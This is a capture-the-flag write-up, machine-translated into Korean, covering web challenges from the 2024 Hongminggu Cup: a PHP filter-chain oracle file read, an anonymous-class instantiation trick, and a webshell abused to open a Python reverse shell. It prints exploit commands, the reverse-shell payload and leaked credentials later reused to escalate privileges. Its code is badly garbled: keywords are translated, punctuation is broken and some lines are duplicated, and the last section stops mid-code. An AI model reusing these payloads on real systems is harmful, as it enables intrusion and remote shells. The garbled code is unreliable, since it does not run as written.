제목 : 2024 Digital China Innovation 4th Hongminggu Cup Cybersecurity Competition wp

WEB​

ezphp

타이틀 설명 : 위성 통신 기술에 중점을 둔 연구팀은 데이터 전송의 효율성과 보안을 개선하기 위해 통신 시스템을 개선하기 위해 노력하고 있습니다. 팀은 통신 시스템 개발을 개선하기 위해 PHP 8.3.2를 사용하기로 결정했습니다.
테스트 포인트 : PHP 필터 체인 Oracle
PHP 필터 체인 —— Oracle 기반 파일 읽기 공격
참조 : https://xz.aliyun.com/t/12939?time__1311=MQMHQIX+XFOD7DLOAGKWEPSAZHG=4D#TOC-16
질문의 소스 코드는 다음과 같습니다
? php
하이라이트_file (__ file__);
//flag.php
if (isset ($ _ post [ 'f'])) {
echo hash_file ( 'md5', $ _post [ 'f']);
}
?
image-20240721022130265

이용 가능 : https://github.com/synacktiv/php_filter_chains_oracle_exploit/
테스트 포인트 : PHP 필터 체인 - Oracle 기반 파일 읽기 공격을 사용하여 EXP 실행을 생성합니다. 이 질문은 PHP 버전 번호가 조건을 충족하고 활용을 위해 EXP를 다운로드한다는 것을 알 수 있습니다.
image-20240721022317838

페이로드를 실행하면 여기에서 몇 번 더 실행해야 할 수도 있습니다.
python3 filters_chain_oracle_exploit.py --target http://eci-2zea1zzp9231ugqw9htd.cloudeci1.icunqiu.com/--file flag.php ---parameter f
Access /flag.php?ezphpphp8 생성 된 소스 코드를 읽으려면
image-20240721022347849

image-20240721022524879

? php
if (isset ($ _ get [ 'ezphpphp8'])) {
하이라이트_file (__ file__);
} 또 다른 {
다이 ( '아니오');
}
$ a=새로운 클래스 {
함수 __construct ()
{
}
함수 getflag ()
{
시스템 ( 'cat /flag');
}
};
비 세트 ($ a);
$ a=$ _get [ 'ezphpphp8'];
$ f=새로운 $ a ();
$ f-getflag ();
?
이 질문은 PHP 버전이 PHP 8.3.2라는 것을 알 수 있습니다. ChangeLog를보고 GH-13097을 직접 잠그려면 PHP 공식 웹 사이트로 이동하십시오.
image-20240721030306000

로컬 디버깅, 익명 클래스를 사용하여 깃발을 읽을 수 있고 페이로드를 구성 할 수 있음을 발견했습니다.
로컬 컨테이너 생성 :
Docker Run -ITD -P 1238:80 PHP:8.3.2 -APACHE
Docker exec -it 컨테이너 ID /bin /bash
다음과 같이 flag.php 및 테스트 코드를 넣으십시오.
? php
if (isset ($ _ get [ 'ezphpphp8'])) {
//하이라이트_file (__ file__);
} 또 다른 {
//다이 ( '아니오');
}
$ Anonymous=New Class {
함수 __construct ()
{
}
함수 getflag ()
{
시스템 ( 'cat /flag');
}
};
$ a=get_class ($ 익명);
echo urlencode ($ a);
에코 '\ n';
Unset ($ 익명);
//echo get_class ($ a). ': 이제 당신은 나를 봅니다 .';
$ a=urldecode ( 'class%40anonymous%00%2fvar%2fwww%2fhtml%2fflag.php%3a7%240');
$ f=새로운 $ a ();
$ f-getflag ();
var_dump ($ f);
//새로운 예외 던지기 (
//get_class ($ 익명). ' . 이제 당신은 \ 't!',
//e_user_error
//);
getflag 메소드를 실행할 수 있음을 알 수 있습니다.
image-20240721030403850

image-20240721022458707

exp 구성 :
/flag.phpppp8=안명
/flag.phppppphp8=class@anonymous%00/var/www/html/flag.php:7$1
/flag.phppppphp8=class@anonymous%00/var/www/html/flag.php:7$0
image-20240721022543080

unauth

로그인 포트를 시작하십시오
image-20240721022613215

웹 사이트 Path/www.zip에서 관리자와의 비밀번호가 유출되었습니다.
image-20240721022644892

www.zip 유출 소스 코드는 다음과 같이 다음과 같이 :
? php
if (! isset ($ _ server [ 'php_auth_user'])) {
헤더 ( 'www-authenticate: 기본 영역='제한된 지역 ');
헤더 ( 'http/1.0 401 무단 무단');
Echo 'Xiao Ming은 운영 및 유지 보수 엔지니어이며 최근 웹 사이트에 버그가 있습니다. ';
출구;
} 또 다른 {
$ validUser='admin';
$ ValidPass='2E525E29E465F45D8D7C56319FE73036';
if ($ _server [ 'php_auth_user']!=$ validUser || $ _server [ 'php_auth_pw']!=$ validpass) {
헤더 ( 'www-authenticate: 기본 영역='제한된 지역 ');
헤더 ( 'http/1.0 401 무단 무단');
Echo '유효하지 않은 자격 증명';
출구;
}
}
@eval ($ _ get [ 'cmd']);
하이라이트_file (__ file__);
?
간단한 감사가 이루어질 수 있고 명령을 실행할 수 있지만 대부분은 금지됩니다.
로그인 한 후 암호 CMD가있는 문장 트로이 목마가 있으며 많은 기능이 금지되었습니다. 테스트 후 PCNTL_EXEC을 사용하여 쉘을 반동 할 수 있습니다.
//Post Pass Pass Parameter, 리바운드 쉘
1=pcntl_exec ( '/usr/bin/python', Array ( '-c', '가져 오기 소켓, 하위 프로세스, os; s=socket.socket (socket.af_inet, socket.sock_stream, socket.sol_tcp); port)); os.dup2 (s.fileno (), 0); os.dup2 (s.fileno (), 1); os.dup2 (s.fileno (), 2); p=subprocess.call ([ '/bin/ba sh ','-i ');')); os.dup2 (s.fileno (), 1); os.dup2 (s.fileno (), 2); p=subprocess.call ([ '/bin/bash', '-i']);
결국, 당신은 권리를 제기해야합니다. 나는 Suid를 시도했지만 실패했습니다. configuration 파일 config.inc.php가있는 것으로 나타 났으며, 비밀번호는 관리자 사용자 비밀번호입니다.
image-20240721022721413

!-? php
# MySQL 데이터베이스에 연결하는 데 문제가있는 경우 아래의 모든 변수가 정확합니다.
# 'DB_SERVER'변수를 LocalHost에서 127.0.0.1로 변경하십시오. 소켓으로 인해 문제를 해결합니다.
# 수정에 대한 @Digininja에게 감사드립니다.
# 데이터베이스 관리 시스템을 사용할 수 있습니다
$ dbms='mysql';
#$ dbms='pgsql'; //현재 비활성화되었습니다
# 데이터베이스 변수
# 경고 : DB_DATABASE에 지정된 데이터베이스는 설정 중에 완전히 삭제됩니다.
# DVWA 전용 데이터베이스를 사용하십시오.

# mariaDB를 사용하는 경우 루트를 사용할 수 없으므로 전용 DVWA 사용자를 만들어야합니다.
# 이에 대한 자세한 내용은 readme.md를 참조하십시오.
$ _dvwa=array ();
$ _dvwa [ 'db_server']='127.0.0.1';
$ _dvwa [ 'db_database']='dvwa';
$ _dvwa [ 'db_user']='root';
$ _dvwa [ 'db_password']='b90e0086d8b1165403de6974c4167165';
# PostgreSQL/PGSQL 데이터베이스 선택과 함께 사용됩니다.
$ _dvwa [ 'db_port']='5432';
# recaptcha 설정
# '불안한 담긴'모듈에 사용됩니다
# 자신의 키를 생성해야합니다.
$ _dvwa [ 'recaptcha_public_key']='6ldk7xitaazzaajqtfl7fu6i-0apl8khhieat_yjg';
$ _dvwa [ 'recaptcha_private_key']='6ldk7xitazzaal_uw9yxvuopoihpzlfw2k1n5nvq';
# 기본 보안 수준
# 각 세션마다 보안 수준의 기본값.
# 기본값은 '불가능'입니다. 이것을 '낮은', '중간', '높음'또는 불가능한 '것으로 설정할 수 있습니다.
$ _dvwa [ 'default_security_level']='불가능';
# 기본 PHPIDS 상태
# 각 세션마다 PHPIDS 상태.
# 기본값은 '비활성화'되었습니다. 이것을 '활성화'또는 '비활성화'로 설정할 수 있습니다.
$ _dvwa [ 'default_phpids_level']='비활성화';
# Verbose PHPIDS 메시지
#이를 활성화하면 WAF가 차단 된 요청에 대한 요청을 차단 한 이유를 보여줍니다.
# 기본값은 '비활성화'되었습니다. 이것을 'true'또는 'false'로 설정할 수 있습니다.
$ _dvwa [ 'default_phpids_verbose']='false';
?-
패킷은 쉘을 리바운드하고, 대화식 쉘에 명령을 실행하고, 획득 된 비밀번호 B90E0086D8B1165403DE6974C4167165를 사용하여 관리자 사용자로 전환하여 플래그를 읽습니다.
얻다 /? xnzlg9zo3m9c29ja2v0lnnnvy2tldchzb2nrzxququzfsu5fvcxzb2nrzxquu09ds19tvfjfqu0po3muy29ubm vjdcgoijeymy4xmumtizljeymyismtiznckpo29zlmr1cdiocy5mawxlbm8okswwktsgb3muzhvwmihzlmz pbgvubygpldepo29zlmr1cdiocy5mawxlbm8okswykttpbxbvcnqgchr5oybwdhkuc3bhd24oinnoiik=')); HTTP/1.0
host: xxx.com
Pragma: No-Cache
CACHE-CONTROL: NO-CACHE
권한 : 기본 YWRTAW46MMU1MJVLMJLLNDY1ZJQ1ZDHKN2MMM1NJMXOWZLNZMWMZY=
업그레이드-보안 요청 : 1
www-authenticate: 기본 영역='제한된 영역
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Applewebkit/537.36 (Gecko와 같은 KHTML) Chrome/123.0.0.0 Safari/537.36
accept: Text/Html, Application/XHTML+XML, Application/XML; Q=0.9, Image/Avif, Image/Webp, im
accept-encoding: gzip, deflate
허용 : ZH-CN, ZH; Q=0.9, JA; Q=0.8, vi; Q=0.7
Cookie: phpsessid=
Connection: 닫기
image-20240721022743516

playground

녹 소스 코드 감사 질문은 다음과 같이 소스 코드를 제공합니다.이 질문은 기본적으로 해결됩니다.
#[macro_use] 외부 상자 로켓;
std:fs를 사용하십시오.
STD:FS:FILE 사용;
std3333:io33333:write를 사용합니다.
STD:3360Process3333:Command를 사용합니다.
Rand:RNG를 사용하십시오.
#[얻다('/')]
fn index () - 문자열 {
fs:read_to_string ( 'main.rs'). UnupRap_or (String3:default ())
}
#[post ( '/rust_code', data='code')]]]
fn run_rust_code (code: String) - 문자열 {
code.contains ( 'std') {
return 'error: std는 허용되지 않습니다.'.to_string ();
}
//임의의 5 길이 파일 이름을 생성합니다
let file_name=rand:thread_rng ()
.sample_iter (rand:Diputions3:Alphanumeric)
.Take (5)
.map (char:from)
.Collect3:String ();
OK (mut file)=file:create (format!
file.write_all (code.as_bytes ());
}
let wel (build_output)=command:3:new ( 'Rustc')
.arg (형식! ( 'Playground/{}. rs', file_name))
.Arg ( '-c')
.arg ( 'debuginfo=0')
.Arg ( '-c')
.arg ( 'opt-level=3')
.Arg ( '-o')
.arg (형식! ( 'Playground/{}', file_name))
.output () {
if! build_output.status.success () {
fs:remove_file (format! ( 'Playground/{}. rs', file_name);
return string:3360from_utf8_lossy (build_output.stderr.as_slice ()). to_string ();
}
}
fs:remove_file (format! ( 'Playground/{}. rs', file_name);
let wel (output)=command:new (format! ( 'Playground/{}', file_name).
.output () {
if! output.status.success () {
fs:3360remove_file (형식! ( 'Playground/{}', file_name);
return string:3360from_utf8_lossy (output.stderr.as_slice ()). to_string ();
} 또 다른{
fs:3360remove_file (형식! ( 'Playground/{}', file_name);
return string:3360from_utf8_lossy (output.stdout.as_slice ()). to_string ();
}
}
return string:default ();
}
#[시작하다]
fn rocket () - _ {
그림=rocket:config3333:figment ()
.merge (( '주소', '0.0.0.0');
Rocket:Custom (그림) .mount ( '/'
 
뒤로
상단